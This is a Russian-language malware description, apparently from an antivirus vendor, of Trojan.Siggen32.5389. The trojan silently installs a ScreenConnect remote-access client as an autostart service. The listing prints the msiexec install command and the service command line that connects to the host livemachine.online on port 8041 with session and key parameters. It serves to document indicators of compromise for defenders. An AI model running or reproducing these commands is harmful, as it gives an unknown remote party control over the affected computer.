Trojan.Siggen32.5389

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Classes\sc-04708f0a41eb9d0b\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (04708f0a41eb9d0b)\ScreenConnect.WindowsClient.exe" "%1"'

Устанавливает следующие настройки сервисов

[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (04708f0a41eb9d0b)] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (04708f0a41eb9d0b)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (04708f0a41eb9d0b)\ScreenConnect.ClientService.exe" "?e...

Создает следующие сервисы

'ScreenConnect Client (04708f0a41eb9d0b)' %ProgramFiles(x86)%\ScreenConnect Client (04708f0a41eb9d0b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=livemachine.online&p=8041&s=16c4c36b-c2de-4782-96c6-2f3a2d6387eb&k=BgIAAACkAABS...

Изменения в файловой системе

Создает следующие файлы

%TEMP%\setup.msi
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\<Имя файла>.exe.log
%TEMP%\msi5981.tmp
%TEMP%\msi5981.tmp-\screenconnect.installeractions.dll
%TEMP%\msi5981.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi5981.tmp-\screenconnect.core.dll
%TEMP%\msi5981.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~df705db255db4c3165.tmp
%WINDIR%\installer\sourcehash{e0238197-f862-4c8e-9f34-71386eb5c89b}
%WINDIR%\temp\~df3db31989f5e28ad9.tmp
%WINDIR%\temp\~dff7d3da3d55a972af.tmp
%WINDIR%\temp\~dfb9f5b6bcad30f918.tmp
%ProgramFiles(x86)%\screenconnect client (04708f0a41eb9d0b)\screenconnect.client.dll
%ProgramFiles(x86)%\screenconnect client (04708f0a41eb9d0b)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (04708f0a41eb9d0b)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (04708f0a41eb9d0b)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (04708f0a41eb9d0b)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (04708f0a41eb9d0b)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (04708f0a41eb9d0b)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (04708f0a41eb9d0b)\app.config
%ProgramFiles(x86)%\screenconnect client (04708f0a41eb9d0b)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (04708f0a41eb9d0b)\client.override.en-us.resources
%ProgramFiles(x86)%\screenconnect client (04708f0a41eb9d0b)\client.override.resources
%ProgramFiles(x86)%\screenconnect client (04708f0a41eb9d0b)\client.resources
%WINDIR%\installer\{e0238197-f862-4c8e-9f34-71386eb5c89b}\defaulticon
%WINDIR%\temp\~dff8f8df358a79bc39.tmp
%WINDIR%\temp\~dfa68500c9380568be.tmp
%WINDIR%\temp\~df12a69e70d34c6020.tmp
%WINDIR%\temp\~dfbce35f8d91cc7a25.tmp
%WINDIR%\temp\~df6b3ac4b2627af169.tmp
%WINDIR%\temp\~df7a5f171bc6e9d107.tmp
%WINDIR%\temp\~dfd11d31ae70d18f23.tmp
%WINDIR%\temp\~dfbd6296d13e59b4f8.tmp
%TEMP%\content\4224-4832-screenconnect.windowsclient.exe-06-38-12-465.dump

Удаляет файлы, которые сам же создал

%TEMP%\msi5981.tmp-\customaction.config
%TEMP%\msi5981.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi5981.tmp-\screenconnect.core.dll
%TEMP%\msi5981.tmp-\screenconnect.installeractions.dll
%TEMP%\msi5981.tmp

Сетевая активность

UDP

DNS ASK li####chine.online

Другое

Создает и запускает на исполнение

'%ProgramFiles(x86)%\screenconnect client (04708f0a41eb9d0b)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=livemachine.online&p=8041&s=16c4c36b-c2de-4782-96c6-2f3a2d6387eb&k=BgIAAACkAABSU0ExAAgAAAEAAQAp6hne4%2fPj9HVSPfijc%2bxATKSYrFgTLfbUP78uSs8cyGHgBTtNX7AbTZvaNdaIfCKAudvqCu22J...
'%ProgramFiles(x86)%\screenconnect client (04708f0a41eb9d0b)\screenconnect.windowsclient.exe' "RunRole" "90485179-6169-4304-a711-0d7864d9d913" "User"

Запускает на исполнение

'%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSI5981.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_1006375 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments